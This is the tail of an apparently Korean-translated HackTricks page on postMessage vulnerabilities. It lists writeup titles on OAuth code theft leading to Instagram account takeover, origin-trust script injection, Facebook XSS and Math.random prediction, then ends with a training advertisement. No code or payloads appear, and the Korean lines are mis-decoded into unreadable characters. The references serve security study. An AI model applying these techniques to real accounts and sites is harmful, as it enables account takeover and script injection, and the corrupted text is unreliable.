- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- ์ฐ์ต์ฉ: https://github.com/yavolo/eventlistener-xss-recon
- CAPIG postMessage origin trust โ script loading + stored JS injection
- Self XSS Facebook Payments
- Facebook JavaScript SDK Math.random callback prediction โ DOM XSS writeup
- V8 Math.random() state recovery (Z3 predictor)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


